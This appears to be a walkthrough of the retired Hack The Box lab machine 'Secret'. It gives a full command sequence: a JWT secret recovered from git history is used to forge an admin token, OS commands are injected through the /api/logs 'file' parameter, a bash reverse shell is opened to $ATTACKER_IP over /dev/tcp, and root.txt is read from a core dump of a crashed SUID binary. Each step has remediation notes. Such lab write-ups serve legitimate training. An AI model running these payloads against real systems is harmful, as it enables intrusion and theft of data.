Secret
Summary
Target secret ($TARGET) runs a Node.js REST API exposed on port 3000 and proxied through nginx on port 80. The nginx virtual host served a downloadable ZIP of the full application source code, which contained an embedded Git repository.
Inspecting the commit history revealed a JWT signing secret that had been replaced in the live file but never purged from history. That secret was used to forge a valid admin token, which unlocked the /api/logs endpoint — a file-reader whose query parameter was concatenated directly into a shell command.
Injecting OS commands through that parameter gave remote code execution as application user dasith (uid=1000). Privilege escalation to root exploited a SUID-root binary (/opt/count): by running it against /root/root.txt and sending SIGABRT while the file was held open in memory, the kernel produced a core dump in /var/crash/ containing the file's contents in plaintext, readable by any local user.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export TOKEN="<the-token-you-captured>"Some commands also carry a value in angle brackets — <earlier-commit-hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Service-version scan on the three discovered ports.
$ nmap -Pn -sV -p 22,80,3000 $TARGETConfirm the landing page and locate the source-code download link.
$ curl -sS http://$TARGET/Exact commands 2
Download the source archive; adjust the path to the actual download URL shown on the landing page.
$ curl -sS -o /tmp/secret_src.zip http://$TARGET/downloads/secret.zipExtract and confirm the embedded Git repository is present.
$ unzip -q /tmp/secret_src.zip -d /tmp/secret_htb_src && ls -la /tmp/secret_htb_src/.gitFixRemove the application source archive and block Git directory access on the web serverHigh
Exact commands 2
List all commits that touched .env to find the one containing the real secret.
$ git -C /tmp/secret_htb_src log --all --oneline -- .envRead the previous version of .env to extract the original TOKEN_SECRET value; replace <earlier-commit-hash> with the commit identified above.
$ git -C /tmp/secret_htb_src show <earlier-commit-hash>:.envFixRotate all secrets exposed in Git history and enforce pre-commit secret scanningCritical
Exact commands 2
Generate the forged admin JWT using the leaked secret; the output is written to admin.jwt.
$ cd /tmp/secret_htb_src && node -e "const jwt=require('jsonwebtoken'); const secret=require('fs').readFileSync('.env','utf8').match(/TOKEN_SECRET=(.+)/)[1].trim(); console.log(jwt.sign({name:'theadmin'},secret));" > admin.jwtConfirm the forged token returns admin-level access.
$ TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -H "auth-token: $TOKEN" http://$TARGET:3000/api/privExact commands 3
Confirm command injection; response includes uid=1000(dasith).
$ TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null;id' http://$TARGET:3000/api/logsRead the user flag via injection; captured -> <user.txt>
$ TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null; cat /home/dasith/user.txt' http://$TARGET:3000/api/logsUpgrade to an interactive reverse shell; start nc -lvnp 4444 first and substitute my IP for $ATTACKER_IP.
$ TOKEN=$(cat /tmp/secret_htb_src/admin.jwt); curl -sS -G -H "auth-token: $TOKEN" --data-urlencode 'file=/dev/null; bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"' http://$TARGET:3000/api/logsFixReplace shell concatenation in /api/logs with a safe file-reading APICritical
Exact commands 6
From dasith's shell — enumerate SUID binaries; /opt/count should appear.
$ find / -perm -4000 -type f 2>/dev/nullConfirm the binary is -rwsr-xr-x root root.
$ ls -la /opt/countStart /opt/count on the root flag in the background; it reads the file into memory then blocks waiting for input — do not answer the prompt yet.
$ /opt/count /root/root.txt &Send SIGABRT to the running process to force a core dump while /root/root.txt is held open in memory.
$ kill -ABRT $(pidof count)Unpack the Ubuntu crash report to extract the CoreDump binary.
$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_outExtract readable strings from the core dump; the root flag (<root.txt>) appears in the memory region where the file was read.
$ strings /tmp/crash_out/CoreDump | grep -A1 'root.txt'FixRemove the SUID bit from /opt/count and disable SUID core dumpsHigh
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 3000/tcp | http Node.js (Express middleware) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.